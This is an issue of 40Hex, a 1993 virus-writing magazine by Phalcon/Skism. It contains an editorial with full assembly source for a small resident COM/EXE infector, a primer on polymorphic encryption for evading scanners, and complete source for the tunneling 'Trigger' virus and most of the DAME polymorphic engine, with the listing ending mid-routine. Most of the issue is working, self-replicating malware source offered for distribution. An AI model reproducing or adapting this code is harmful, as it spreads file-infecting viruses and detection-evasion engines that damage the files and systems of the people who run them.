40Hex Number 11 Volume 3 Issue 2
40Hex Issue 11 Volume 3 Number 2 File 000
Welcome to 40Hex, the industry-standard virus information magazine,
brought to you by your friends at Phalcon/Skism, where our mottoes are
"We don't care" and "We write viruses until we're blue in the face and
green in the eyes." Once again, we continue to bring you only the best
in virus news, programming, and miscellaneous source code.
We welcome our newest member, Priest, who has written a number of
advanced viruses. The source code to one of his viruses, Predator, is
included in this issue.
Also in this issue is Dark Angel's Multiple Encryptor (DAME). This
is one of the more advanced polymorphic routines available. Since source
code is included, you'll probably see SPEW (Sweet Potato Encryption
Writer) coming soon to finer P0taT0 boards near you.
Well, enough ranting -- enjoy the magazine!
-)Gheap
File Description
0000.................This file, of course.
0001.................Today's Phalcon/Skism Gripe
0002.................Advanced Polymorphism Primer, Part 1
0003.................Phalcon/Skism Trigger Virus & DAME Source Code
0004.................Virus Censorship (Gripe Part II)
0005.................Virus Spotlite: Leech
0006.................Fun with System File Tables
0007.................SVC 5.0 disassembly
0008.................Predator Source Code
Greets to: NuKE, The Attitude Adjuster, Kenny C., Al, Bob, and our little
potato friends.
40Hex Issue 11 Volume 3 Number 2 File 001
Life, the Universe, and 40Hex
It is apparent to even the blindest of observers that the virus
phenomenon has caught on. Everyone and his kid brother has decided to start
a virus group, whether or not they have programmers capable of creating a
viable (read: parasitic) virus. While this in itself is merely offensive,
it is the sheer arrogance of these meta-groups which is irritating. Of
course, no names will be mentioned, as that would be mean and we all wish
for a happy world.
The most common trait of these pseudo-groups is for a member to state
that all code that was written was "developed on my own." Of course, this
is seldom the case. Often, the "original source code" to their viruses
clearly originated at some point from a Sourcer disassembly. Heck, when you
see "seg_a" or "loc_0027," you know they're just poor hacks. Of course, the
the disparate coding styles in the "source" also reveals the nature of the
virus.
And when the virus is listed as a Dark Avenger hack in various anti-
virus products, the individuals persist in their self-induced fantasies,
saying their viruses are original. I suppose the anti-virus programmers,
who have disassembled countless viruses, can't spot a Dark Avenger or Murphy
hack when they see one. Stop fooling yourselves.
And these mentally challenged persons continue, insisting routine X, a
"new, innovative technique," was developed independently. Yet anyone with
even a minimal exposure to virus source code can see traces of other viruses
in these routines. Even the ideas presented are seldom new; most having
already been implemented by existing viruses. The worst of these people
magnify all of their supposed accomplishments, talking of the revolutionary
changes they single-handedly effect.
Every group goes through a phase in which they hack viruses; they
should not be proud of these viruses. But it is merely the first step and
most grow out of it. Skism-1, for example, was a Jerusalem hack. It is
ancient history. I might also point out that the Phalcon/Skism viruses
published in both the last issue and this one are far superior to Skism-1.
Phalcon/Skism does not release the source code to half-baked viruses just so
40Hex can look larger. Every virus programmer has a few experimental
viruses; yet it is not necessarily appropriate to print all of them. If I
wrote a virus which had several hundred bytes of repetitious code, I would
be ashamed to print it. It's like releasing a program which has only been
half-completed.
When a virus programmer additionally claims, "This virus was written
two years ago, so it sucks, but I'm going to release it anyway because it's
good to learn from," I have my doubts. When s/he further hurridly states,
"My other viruses are better," then my doubts grow. Where, pray tell, are
these superior viruses? Why publish that which you admit sucks? Of course,
anyone that makes such a claim, or one such as, "Next time, I'll release a
COM/EXE/SYS/MBR/OV?/DAT/DOC/TXT/ANS/ASC polymorphic, stealth infector that I
wrote last week," is suspicious.
As an example of the mindless boasting, observe the following: (Note:
the following should not be construed as a personal attack against either
the person or group in question.)
This person wrote, "As with many of my routines, stuff which took many
other virus writers a few pages of code took me one page... that's not bad!
I have many other goodies up my sleeve, like a 387-byte generic COM/EXE
parasitic infector on execution, the smallest of its kind in the WORLD...
(with room for improvement!)."
Please do not boast if you cannot substantiate your claims. For
example, these claims are easily shredded by counterexample. Let us examine
the Voronezh-370 virus. It is a generic parasitic COM/EXE infector and it
is indeed less than 387 bytes. If 387 bytes is the smallest in the world,
then this may very well be the smallest in the universe. With only two
hours of fiddling, I came up with the following virus (278 bytes), which may
yet be the smallest of its kind in all of creation! Actually, I make no
such claim, as a smaller one _can_ be written. The point was to show that
this claim was not all that impressive and was, in fact, dead wrong. Let us
not be o'erhasty to boast next time.
As with many of my viruses, stuff which took many other virus writers
over 380 bytes took me under 280... that's not bad! Humour aside, I might
point out that this virus is _over_ 100 bytes less than the boaster's
attempt, so it is _significantly_ smaller. Gee, I wonder what those extra
109 bytes are used for.
-------------Cut here----------------
.model tiny
.code
.radix 16
.code
; Phalcon/Skism _Small virus
; Written by Dark Angel of Phalcon/Skism
; 278 byte generic COM/EXE infector
EXE_ID = -40
viruslength = heap - _small
startload = 90 * 4
_small:
call relative
oldheader dw 020cdh
dw 0bh dup (0)
relative:
pop bp
push ds
push es
xor ax,ax
mov ds,ax
mov es,ax
mov di,startload
cmp word ptr ds:[di+25],di
jz exit_small
lea si,[bp-3]
mov cx,viruslength
db 2Eh
rep movsb
mov di,offset old21 + startload
mov si,21*4
push si
movsw
movsw
pop di
mov ax,offset int21 + startload
stosw
xchg ax,cx
stosw
exit_small:
pop es
pop ds
or sp,sp
jnp returnCOM
returnEXE:
mov ax,ds
add ax,10
add [bp+16],ax
add ax,[bp+0e]
mov ss,ax
mov sp,cs:[bp+10]
jmp dword ptr cs:[bp+14]
returnCOM:
mov di,100
push di
mov si,bp
movsw
movsb
ret
infect:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax,3d02
int 21
xchg ax,bx
push cs
pop ds
push cs
pop es
mov si,offset oldheader+startload
mov ah,3f
mov cx,18
push cx
mov dx,si
int 21
cmp ax,cx
jnz go_already_infected
mov di,offset target + startload
push di
rep movsb
pop di
mov ax,4202
cwd
int 21
cmp ds:[di],'ZM'
jz infectEXE
sub ax,3
mov byte ptr ds:[di],0e9
mov ds:[di+1],ax
sub ax,viruslength
cmp ds:[si-17],ax
jnz finishinfect
go_already_infected:
pop cx
jmp short already_infected
int21:
cmp ax,4b00
jz infect
jmp short chain
infectEXE:
cmp word ptr [di+10],EXE_ID
jz go_already_infected
push ax
push dx
add ax,viruslength
adc dx,0
mov cx,200
div cx
or dx,dx
jz nohiccup
inc ax
nohiccup:
mov ds:[di+4],ax
mov ds:[di+2],dx
pop dx
pop ax
mov cx,10
div cx
sub ax,ds:[di+8]
mov ds:[di+14],dx
mov ds:[di+16],ax
mov ds:[di+0e],ax
mov word ptr ds:[di+10],EXE_ID
finishinfect:
mov ah,40
mov cx,viruslength
mov dx,startload
int 21
mov ax,4200
xor cx,cx
cwd
int 21
mov ah,40
mov dx,di
pop cx
int 21
already_infected:
mov ah,3e
int 21
exitinfect:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
chain:
db 0ea
heap:
old21 dw ?, ?
target dw 0ch dup (?)
endheap:
end _small
-------------------------------------
I think the informed virus and anti-virus person recognises these
claims as the baseless boasts they are. Let me assure you that you will see
none of that in 40Hex.
Finally, each new group proclaims to be the world's predominant virus
group. Each new group puts out a magazine. Each new group presents H/P/A
articles in their magazines. Let us go through each one step by step.
Hacking. Gee, can't you see the connection with viruses? Phreaking. Got
some c0deZ, d00d? Anarchy. Gee, I want total chaos even though I probably
couldn't survive such a situation. H/P/A aside, these "virus magazines" do
indeed contain some virus-related articles. Generally, these are of the
form "X virus is great, but we won't give source. X does this, it does
that, it is not a hack of Dark Avenger even though it scans as such." Some
articles give Sourcer disassemblies -- hardly commented, yet termed
disassemblies nonetheless. Finally, there are the programming articles
containing tips and tricks from the "masters." These often contain
nonworking code. These often contain factual errors. These often are
nothing but a waste of time.
Does this sound elitist? I hope not. Judge virus groups and their
magazines on their merits, not on their hype. Do not take a virus group's
word as gospel; it seldom reflects the truth. Instead, do some
investigation on your own and try to verify (or refute) their claims. You
may be surprised at the results. There is also no reason to immediately
condemn all anti-virus people as corrupt and "lame"; many are just ordinary
people "on the other side." The virus scene is becoming less innovative as
these new quasi-groups emerge. This apparent contradiction must end soon.
We ask all groups to end the self-back-patting and blatant lying and do some
real work.
Finally, a short summary of 40Hex is in order, for both new and old
readers alike. The paragraphs below show the current editorial stance and
opinion of 40Hex, which has evolved during the several years of its
existence. What holds true for 40Hex also applies to Phalcon/Skism.
40Hex is _not_ a magazine for self-congratulation. Although put out by
Phalcon/Skism, 40Hex serves as medium through which the public may hear the
voice of the informed virus community without magnification of either the
achievements or failures of any particular virus group or programmer.
Although the 40Hex staff offers opinions from the pro-virus standpoint,
40Hex is not an anti-anti-virus magazine. There is a clear distinction
between pro- and anti-anti-virus. 40Hex encourages anti-virus researchers
to contribute. 40Hex offers a fair, unbiased view except in editorials,
which obviously reflect the opinions of the authors.
40Hex _is_ purely a virus magazine -- none of that H/P/A/k-rad stuff.
Illegal and anarchistic activities are not condoned by 40Hex and, as such,
these topics are not appropriate for inclusion in the magazine. The public
distribution of quality virus source code and virus writing techniques, both
old and new, is one of the predominant goals of 40Hex, serving to inform
both the pro- and anti-virus community. The secondary function of the
magazine is to spread virus-related news. 40Hex is concerned more with
content than size. You know the old saw "Quality, not quantity." Other
magazines appear larger than they truly are because each article is padded
to 80 columns, effectively doubling its file length.
40Hex articles are _not_ mere rehashes of what has already been
printed. Other magazines have presented articles which closely mirror those
already published in 40Hex. Such poorly rewritten articles are neither
enlightening nor necessary.
40Hex is _not_ a tool with which people wreak havok upon others'
systems. This is simply an unfair view of the magazine. In fact, 40Hex is
against wanton destruction of computer systems. Viruses are so prevalent
nowadays that anyone can obtain them with little difficulty. They also need
not obtain 40Hex to be able to type "FORMAT C:" Knobs will be knobs.
40Hex _is_ a public forum, allowing those who take the time to write to
have their opinions published. We encourage all to send letters to 40Hex,
as they provide valuable insight into the virus and anti-virus communities
from a fresh perspective.
40Hex is _not_ inherently evil. What you choose to do with the
knowledge provided is your business.
Once again, 40Hex does not condone the illegal spread of viruses. Such
actions are frowned upon. Our stance has evolved over the years, so don't
bring up something from 40Hex-2 and cry hippocrite -- unless, of course, you
have a closed mind and absolutely nothing else to say.
-- Dark Angel
Phalcon/Skism
40Hex Issue 11 Volume 3 Number 2 File 002
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ADVANCED POLYMORPHISM
PRIMER
PART THE FIRST
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
By Dark Angel
Phalcon/Skism
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
With the recent proliferation of virus encryption "engines," I was
inspired to write my own. In a few short weeks, I was able to construct one
such routine which can hold its own. A polymorphic encryption routine is
nothing more than a complex code generator. Writing such a routine, while
not incredibly difficult, requires careful planning and perhaps more than a
few false starts.
The utility of true polymorphism is, by now, an accepted fact.
Scanning for the majority of viruses is a trivial task, involving merely the
identification of a specific pattern of bytes in executable files. This
approach is quick and may be used to detect nearly all known viruses.
However, polymorphism throws a monkey wrench into the works. Polymorphic
viruses encode each copy of the virus with a different decryption routine.
Since (theoretically) no bytes remain constant in each generated decryption
routine, virus detectors cannot rely on a simple pattern match to locate
these viruses. Instead, they are forced to use an algorithmic appproach
susceptible to "false positives," misleading reports of the existence of the
virus where it is not truly present. Creating a reliable algorithm to
detect the polymorphic routine takes far more effort than isolating a usable
scan string. Additionally, if a virus detector fails to find even one
instance of the virus, then that single instance will remain undetected and
spawn many more generations of the virus. Survival, of course, is the
ultimate goal of the virus.
Before attempting to write a polymorphic routine, it is necessary to
obtain a manual detailing the 80x86 instruction set. Without bit-level
manipulation of the opcodes, any polymorphic routine will be of limited
scope. The nice rigid structure of the 80x86 instruction set will be
readily apparent after a simple perusal of the opcodes. Exploitation of
this structured instruction set allows for the compact code generation
routines which lie at the heart of every significant polymorphic routine.
After examining the structure of the opcodes, the basic organisation of
the polymorphic routine should be laid out. Here, an understanding of the
basics behind such routines is required. The traditional approach treats
the decryption routine as a simple executable string, such as
"BB1301B900022E8137123483C302E2F6." A true (advanced) polymorphic routine,
by contrast, views the decryption routine as a conceptual algorithm, such
as, "Set up a 'pointer' register, that is, the register whose contents hold
a pointer to the memory to be decrypted. Set up a counter register. Use
the pointer register to decrypt one byte. Update the pointer register.
Decrement the count register, looping if it is not zero." Two routines
which fit this algorithm follow:
Sample Encryption 1
------ ---------- -
mov bx,offset startencrypt ; here, bx is the 'pointer' register
mov cx,viruslength / 2 ; and cx holds the # of iterations
decrypt_loop:
xor word ptr [bx],12h ; decrypt one word at a time
inc bx ; update the pointer register to
inc bx ; point to the next word
loop decrypt_loop ; and continue the decryption
startencrypt:
Sample Encryption 2
------ ---------- -
start:
mov bx,viruslength ; now bx holds the decryption length
mov bp,offset start ; bp is the 'pointer' register
decrypt_loop:
add byte ptr [bp+0Ch],33h ; bp+0Ch -> memory location to be
; decrypted at each iteration
inc bp ; update the pointer register
dec bx ; and the count register
jnz decrypt_loop ; loop if still more to decrypt
The number of possibilities is essentially infinite. Naturally,
treating the decryption as an algorithm rather than as an executable string
greatly increases the flexibility in creating the actual routine. Various
portions of the decryption algorithm may be tinkered with, allowing for
further variations. Using the example above, one possible variation is to
swap the order of the setup of the registers, i.e.
mov cx,viruslength
mov bx,offset startencrypt
in lieu of
mov bx,offset startencrypt
mov cx,viruslength
It is up to the individual to decide upon the specific variations which
should be included in the polymorphic routine. Depending upon the nature of
the variations and the structure of the polymorphic routine, each increase
in power may be accompanied with only a minimal sacrifice in code length.
The goal is for the routine to be capable of generating the greatest number
of variations in the least amount of code. It is therefore desirable to
write the polymorphic routine in a manner such that additional variations
may be easily accommodated. Modularity is helpful in this respect, as the
modest overhead is rapidly offset by substantial space savings.
The first step most polymorphic routines undergo is the determination
of the precise variation which is to be encoded. For example, a polymorphic
routine may decide that the decryption routine is to use word-length xor
encryption with bx as the pointer register, dx as a container for the
encryption value, and cx as the counter register. Once this information is
known, the routine should be able to calculate the initial value of each
variable. For example, if cx is the counter register for a byte-length
encryption, then it should hold the virus length. To increase variability,
the length of the encryption can be increased by a small, random amount.
Note that some variables, in particular the pointer register, may not be
known before encoding the rest of the routine. This detail is discussed
below.
Of course, selecting the variables and registers will not in and of
itself yield a valid decryption routine; the polymorphic routine must also
encode the actual instructions to perform the job! The cheesiest
polymorphic routines encode a single "mov" instruction for the assignment of
a value to a register. The more complex routines encode a series of
instructions which are functionally equivalent to the simple three byte
"mov" statement yet far different in form. For example,
mov ax, 808h
could be replaced with
mov ax, 303h ; ax = 303h
mov bx, 101h ; bx = 101h
add ax, bx ; ax = 404h
shl ax, 1 ; ax = 808h
Recall that the registers should be encoded in a random order. The
counter variable, for example, should not always be the first to be encoded.
Predictability, the bane of polymorphic routines, must be avoided at all
costs.
After the registers are encoded, the actual decryption loop should then
be encoded. The loop can perform a number of actions, the most significant
of which should be to manipulate the memory location, i.e. the actual
decryption instruction, and to update the pointer register, if necessary.
Finally, the loop instruction itself should be encoded. This can take many
forms, including "loop," "loopnz," "jnz," etc. Possible variations include
altering the decryption value register and the counter register during each
iteration.
This is the general pattern of encoding. By placing garbling, or "do-
nothing," instructions between the essential pieces of code, further
variability may be ensured. These instructions may take many forms. If the
encoding routines are well-designed, the garbler can take advantage of the
pre-existing code to generate null instructions, such as assignments to
unused registers.
Once the decryption routine has been written, it is necessary to
encrypt the virus code. The traditional approach gives the polymorphic
routine the job of encrypting the code. The polymorphic routine should
therefore "remember" how the precise variation used by the decryptor and
adjust the encryption routine in a complementary fashion. An alternate
approach is for the polymorphic routine to simultaneously encode both the
encryption and decryption routines. Although it adds overhead to the code,
it is an extremely flexible approach that easily accommodates variations
which may be later introduced into the polymorphic routine.
Variable-length decryptors come at a significant trade-off; the exact
start of the decryption cannot be known before encoding the decryptor.
There are two approaches to working around this limitation. The first is to
encode the pointer register in a single instruction, i.e. mov bx,185h and to
patch the initial value once it is known. This is simplistic, though
undesirable, as it decreases the variability of the routine. An alternate
approach is to encode the encryption instruction in the form xor word ptr
[bx+185h], cx (as in Sample Encryption 2, above) instead of xor word ptr
[bx], cx (as in Sample Encryption 1). This increases the flexibility of the
routine, as the initial value of the pointer register need not be any fixed
value; correct decryption may be assured by adjusting the offset in the
decryption instruction. It is then possible to encode the pointer register
with multiple instructions, increasing flexibility. However, using either
method alone increases the predictability of the generated code. A better
approach would be to incorporate both methods into a single polymorphic
routine and randomly selecting one during each run.
As an example of a polymorphic routine, I present DAME, Dark Angel's
Multiple Encryptor and a simple virus which utilises it. They appear in the
following article. DAME uses a variety of powerful techniques to achieve
full polymorphism. Additionally, it is easy to enhance; both the encoding
routines and the garblers can be extended algorithmically with minimal
effort. In the next issue, I will thoroughly comment and explain the
various parts of DAME.
40Hex Issue 11 Volume 3 Number 2 File 003
Trigger Virus
This virus was written as a test virus for DAME, Dark Angel's Multiple
Encryptor. Trigger is a resident COM/EXE infector with tunneling capabilities.
When it executes, it traces down the int 21h chain until it finds the original
int 21h handler. It then inserts code to jump to the virus, which returns
control to the original int 21h handler after processing the request.
-- Dark Angel
Phalcon/Skism 1993
-begin trigger.asm-------------------------------------------------------------
.model tiny
.code
.radix 16
org 0
viruslength = (heap - entry)
virussizeK = (endvirus - entry + 3ff) / 400
virussizepara = (virussizeK)*40
EXE_ID = 'PS'
entry:
call past
next:
db 0,"Trigger by Dark Angel of Phalcon/Skism",0Dh,0A
db "Utilising Dark Angel's Multiple Encryptor (DAME)",0Dh,0A
db 0Dh,0A,0
checkstub db 72,0FA,0E,1F,0BA,00,0B8,0B8,40,00,8E,0C0,26,81,3E,63
past: cld
pop bp
mov ax,0cf0
mov bx,'DA'
int 21
cmp bx,'GH'
jnz no_trigger
trigger:
push ds
push es
push cs
pop ds
xor ax,ax
checkagain:
lea si,[bp+checkstub-next]
mov es,ax
xor di,di
mov cx,8
rep cmpsw
jz trigger_it
inc ax
cmp ax,0a000
jb checkagain
jmp exit_trigger
trigger_it:
mov [bp+patch-next],ax
mov ds,ax
mov byte ptr ds:73,0cbh
push bp
mov bp,-80
jmp short $+2
db 09a ; call far ptr
dw 1
patch dw ?
pop bp
mov byte ptr ds:73,1f
exit_trigger:
pop es
pop ds
jmp short restore
no_trigger:
mov ax,4b90
int 21
cmp ax,bx
jz restore
push ds
push es
mov ax,ds
dec ax
mov ds,ax
sub word ptr ds:3,virussizepara
sub word ptr ds:12,virussizepara
mov es,ds:12
push cs
pop ds
xor di,di
lea si,[bp+offset entry-offset next]
mov cx,(viruslength + 1)/2
rep movsw
xor ax,ax
mov ds,ax
sub word ptr ds:413,virussizeK
mov di,offset oldint21
mov si,21*4
movsw
movsw
cli
pushf
pushf
pop ax
or ah,1
push ax
mov ds:1*4+2,es
mov word ptr ds:1*4,offset int1_1
popf
mov ah,30
pushf
call dword ptr ds:21*4
popf
lds si,dword ptr es:oldint21
mov di,si
lodsw
mov word ptr es:int21patch1,ax
lodsw
mov word ptr es:int21patch2,ax
lodsb
mov byte ptr es:int21patch3,al
push ds ; es:di->int 21 handler
push es
pop ds ; ds->high segment
pop es
mov al,0ea
stosb
mov ax,offset int21
stosw
mov ax,ds
stosw
sti
pop es
pop ds
restore:
cmp sp,-2
jnz restoreEXE
restoreCOM:
lea si,[bp+readbuffer-next]
mov di,100
push di
movsw
movsw
ret
restoreEXE:
mov ax,ds
add ax,10
add cs:[bp+readbuffer+16-next], ax
add ax,cs:[bp+readbuffer+0e-next]
mov ss,ax
mov sp,cs:[bp+readbuffer+10-next]
jmp dword ptr cs:[bp+readbuffer+14-next]
readbuffer dw 20cdh
dw 0bh dup (?)
int1_1:
push bp
mov bp,sp
push ax
mov ax, [bp+4] ; get segment
cmp ax, cs:oldint21+2
jae exitint1
mov cs:oldint21+2,ax
mov ax, [bp+2]
mov cs:oldint21,ax
exitint1:
pop ax
pop bp
iret
int1_2:
push bp
mov bp,sp
push ax
mov ax,cs
cmp ax,[bp+4]
jz exitint1
mov ax,[bp+4]
cmp ax,cs:oldint21+2
jnz int1_2_restore
mov ax,[bp+2]
cmp ax,cs:oldint21
jb int1_2_restore
sub ax,5
cmp ax,cs:oldint21
jbe exitint1
int1_2_restore:
push es
push di
cld
les di,dword ptr cs:oldint21
mov al,0ea
stosb
mov ax,offset int21
stosw
mov ax,cs
stosw
pop di
pop es
and [bp+6],0feff
jmp exitint1
install:
mov bx,ax
iret
int21:
cmp ax,4b90
jz install
push ds
push di
lds di,dword ptr cs:oldint21
mov word ptr ds:[di],1234
int21patch1 = $ - 2
mov word ptr ds:[di+2],1234
int21patch2 = $ - 2
mov byte ptr ds:[di+4],12
int21patch3 = $ - 1
pop di
pop ds
cld
cmp ax,4b00
jz infect
exitint21:
push ds
push ax
xor ax,ax
mov ds,ax
cli
mov word ptr ds:1*4,offset int1_2
mov ds:1*4+2,cs
sti
pushf
pop ax
or ah,1
push ax
popf
pop ax
pop ds
db 0ea
oldint21 dw 0, 0
callint21:
pushf
call dword ptr cs:oldint21
ret
already_infected:
pop dx
pop cx
mov ax,5701
call callint21
mov ah,3e
call callint21
exitnoclose:
mov ax,4301
pop dx
pop ds
pop cx
call callint21
exitinfect:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
jmp exitint21
infect:
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
mov ax,4300
call callint21
push cx
push ds
push dx
mov ax,4301
xor cx,cx
call callint21
mov ax,3d02
call callint21
jc exitnoclose
xchg ax,bx
mov ax,5700
int 21
push cx
push dx
mov ah,3f
mov cx,18
push cs
pop ds
push cs
pop es
mov dx,offset readbuffer
mov si,dx
call callint21
jc already_infected
mov di,offset writebuffer
mov cx,18/2
push si
push di
rep movsw
pop di
pop si
mov ax,4202
xor cx,cx
cwd
int 21
cmp word ptr [di],'ZM'
jnz infectCOM
infectEXE:
cmp readbuffer+10,EXE_ID
go_already_infected:
jz already_infected
mov ds:writebuffer+4,ax
mov ds:writebuffer+2,dx
mov cx,10
div cx
sub ax,ds:writebuffer+8
mov ds:writebuffer+14,dx
mov ds:writebuffer+16,ax
xchg cx,dx
mov ds:writebuffer+0e,ax
mov ds:writebuffer+10,EXE_ID
mov al,10b
jmp finishinfect
infectCOM: ; si = readbuffer, di = writebuffer
push ax
mov cx,4
xor dx,dx
check_infection_loop:
lodsb
add dl,al
loop check_infection_loop
pop ax
or dl,dl
jz go_already_infected
mov dx,18
cmp ax,dx
jnb no_fixup_com
mov ax,4200
xor cx,cx
int 21
no_fixup_com:
mov cx,ax
inc ch ; add cx,100
sub ax,3
push ax
mov al,0e9
stosb
pop ax
stosw
add al,ah
add al,0e9
neg al
stosb
mov al,11b
finishinfect:
cbw
; ax = bitmask
; bx = start decrypt in carrier file
; cx = encrypt length
; dx = start encrypt in virus
; si = buffer to put decryption routine
; di = buffer to put encryption routine
push bx
xchg cx,bx
xor si,si
mov di,offset copyvirus
mov cx,(heap-entry+1)/2
rep movsw
push ax
call rnd_init_seed
pop ax
mov dx,offset copyvirus
mov cx,viruslength
mov si,offset _decryptbuffer
mov di,offset _encryptbuffer
call dame
push cx
cmp ds:writebuffer,'ZM'
jnz no_fix_header
mov dx,ds:writebuffer+2
mov ax,ds:writebuffer+4
add cx,viruslength
add ax,cx
adc dx,0
mov cx,200
div cx
or dx,dx
jz nohiccup
inc ax
nohiccup:
mov ds:writebuffer+4,ax
mov ds:writebuffer+2,dx
no_fix_header:
call di
pop cx
pop bx
mov ah,40
mov dx,offset _decryptbuffer
call callint21
mov ah,40
mov cx,viruslength
mov dx,offset copyvirus
call callint21
mov ax,4200
xor cx,cx
cwd
int 21
mov ah,40
mov cx,18
mov dx,offset writebuffer
call callint21
jmp already_infected
vars = 0
include dame.asm
heap:
vars = 1
include dame.asm
writebuffer dw 0c dup (?)
_encryptbuffer: db 80 dup (?)
_decryptbuffer: db 180 dup (?)
copyvirus db viruslength dup (?)
db 20 dup (?)
endvirus:
end entry
-end trigger.asm----begin dame.asm---------------------------------------------
ifndef vars
vars = 2
endif
if vars eq 1
else
_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7
_es = 8
_cs = 9
_ss = 0a
_ds = 0bh
MAXNEST = 0a ; controls recursion problems
; ax = flags
; 15 : Reserved
; 14 : 0 = word, 1 = dword
; 13 : encryption direction : 0 = forwards, 1 = backwards
; 12 : counter direction : 0 = forwards, 1 = backwards
; 11 : ^
; 10 : R
; 9 : E
; 8 : S
; 7 : E
; 6 : R
; 5 : V
; 4 : E
; 3 : D
; 2 : v
; DAME sets the above bits
;
; Virus sets the following bits:
; 1 : garble : 1 = yes, 0 = no
; 0 : DS = CS : 1 = yes, 0 = no
; bx = start decrypt in carrier file
; cx = encrypt length
; dx = start encrypt
; si = buffer to put decryption routine
; di = buffer to put encryption routine
; ds = current cs
; es = current cs
; Returns:
; cx = decryption routine length
; all other registers are preserved.
rnd_init_seed:
push dx
push cx
push bx
mov ah,2C ; get time
int 21
in al,40 ; port 40h, 8253 timer 0 clock
mov ah,al
in al,40 ; port 40h, 8253 timer 0 clock
xor ax,cx
xor dx,ax
jmp short rnd_get_loop_done
get_rand:
push dx
push cx
push bx
in al,40 ; get from timer 0 clock
db 5 ; add ax, xxxx
rnd_get_patch1 dw 0
db 0BA ; mov dx, xxxx
rnd_get_patch2 dw 0
mov cx,7
rnd_get_loop:
shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_get_loop_loc
inc al
rnd_get_loop_loc:
loop rnd_get_loop
rnd_get_loop_done:
mov rnd_get_patch1,ax
mov rnd_get_patch2,dx
mov al,dl
pop bx
pop cx
pop dx
retn
reg_xlat_table:
db 10000111b ; bx
db 0 ; sp
db 10000110b ; bp
db 10000100b ; si
db 10000101b ; di
aligntable db 3,7,0f,1f
redo_dame:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
dame: ; Dark Angel's Multiple Encryptor
cld
push ax
push bx
push cx
push dx
push si
push di
call _dame
pop di
pop si
pop dx
pop bx ; return value in cx
pop bx
pop ax
ret
_dame:
; set up variables
cld
push ax
mov ax,offset _encryptpointer
xchg ax,di ; pointer to encryption routine buffer
stosw
xchg si,ax ; pointer to decryption routine buffer
stosw
stosw
xchg ax,dx ; starting offset of encryption
stosw
xchg ax,bx ; starting offset of decryption routine
stosw
xchg cx,dx ; dx = encrypt size
call clear_used_regs
mov cx,(endclear1 - beginclear1) / 2
rep stosw
call get_rand
and ax,not 3
pop cx
xor cx,ax ; cx = bitmask
call get_rand_bx
and bx,3
mov al,byte ptr [bx+aligntable]
cbw
add dx,ax ; round up
not ax
and dx,ax
mov ax,dx ; new encryption length
stosw ; _encrypt_length
shr ax,1
test ch,40 ; dword?
jz word_encryption
shr ax,1
word_encryption:
test ch,10
jnz counter_backwards
neg ax
counter_backwards:
stosw ; _counter_value
xchg ax,dx ; get encryption length in bytes
test ch,20
jnz encrypt_forwards
neg ax ; pointer to start of decryption
encrypt_forwards:
stosw ; _pointer_value
call get_rand
stosw ; encryption value = _decrypt_value
mov ax,8484
stosb
push di
stosw
stosb
pop di
call one_in_two
js s1
call get_another
stosb
call get_rand
mov _pointer_value,ax
dec di
s1:
inc di
jmp short gbxoh_skip
get_bx_or_higher:
call clear_reg
gbxoh_skip:
call get_another
cmp al,_bx
jb get_bx_or_higher
stosb ; _pointer_reg
call one_in_two
js s2
call get_another
stosb ; _encrypt_reg
s2:
; encode setup part of decryption
call clear_used_regs
encode_setup:
mov di,_decryptpointer
call twogarble
mov si,offset _dummy_reg
push si
encode_setup_get_another:
call get_rand_bx
and bx,3
mov al,[si+bx]
cbw
test al,80
jnz encode_setup_get_another
or byte ptr [bx+_dummy_reg],80
mov si,ax
inc byte ptr [si+offset _used_regs]
add bx,bx
mov dx,word ptr [bx+_counter_value-2]
mov _nest,0
call mov_reg_xxxx
call twogarble
call swap_decrypt_encrypt
push cx
and cl,not 3
call _mov_reg_xxxx
pop cx
mov _encryptpointer,di
pop si
mov dx,4
encode_setup_check_if_done:
lodsb
test al,80
jz encode_setup
dec dx
jnz encode_setup_check_if_done
mov si,offset _encryptpointer
mov di,offset _loopstartencrypt
movsw
movsw
; encode decryption part of loop
mov _relocate_amt,0
call do_encrypt1
test ch,40
jz dont_encrypt2
mov _relocate_amt,2
call do_encrypt1
dont_encrypt2:
mov bx,offset _loopstartencrypt
push cx
and cl,not 3
call encodejmp
pop cx
mov ax,0c3fc ; cld, ret
stosw
mov si,offset _encrypt_relocator
mov di,_start_encrypt
push cx
call relocate
pop cx
mov bx,offset _loopstartdecrypt
call encodejmp
call fourgarble
mov _decryptpointer,di
mov si,offset _decrypt_relocator
sub di,_decryptpointer2
add di,_start_decrypt
relocate:
test ch,20
jz do_encrypt_backwards
add di,_encrypt_length
do_encrypt_backwards:
sub di,_pointer_value
mov cx,word ptr [si-2]
jcxz exit_relocate
xchg ax,di
relocate_loop:
xchg ax,di
lodsw
xchg ax,di
add [di],ax
loop relocate_loop
exit_relocate:
mov di,_decryptpointer
mov cx,di
sub cx,_decryptpointer2
ret
do_encrypt1:
call playencrypt
call encryption
call playencrypt
ret
encodejmp:
mov di,word ptr [bx+_encryptpointer-_loopstartencrypt]
push bx
mov _nest,0
mov al,_pointer_reg
and ax,7
mov dx,2
test ch,40
jz update_pointer1
shl dx,1
update_pointer1:
test ch,20
jz update_pointer2
neg dx
update_pointer2:
call add_reg_xxxx
mov dl,75 ; jnz
mov al,_counter_reg
and ax,7
cmp al,_sp
jz do_jnz
push dx
mov dx,1
test ch,10 ; check counter direction
jz go_counter_forwards
cmp al,_cx
jnz regular
call one_in_two
js regular
pop dx
call get_rand_bx
xchg bx,dx
and dl,2
or dl,0e0 ; loop/loopnz
jmp short do_jnz
regular:
neg dx
go_counter_forwards:
call add_reg_xxxx
pop dx
do_jnz:
pop bx
mov ax,[bx]
sub ax,di
dec ax
dec ax
xchg ah,al
mov al,dl ; jnz
test ah,80
jnz jmplocation_okay
pop ax
pop ax
jmp redo_dame
jmplocation_okay:
stosw
mov word ptr [bx+_encryptpointer-_loopstartencrypt],di
ret
swap_decrypt_encrypt:
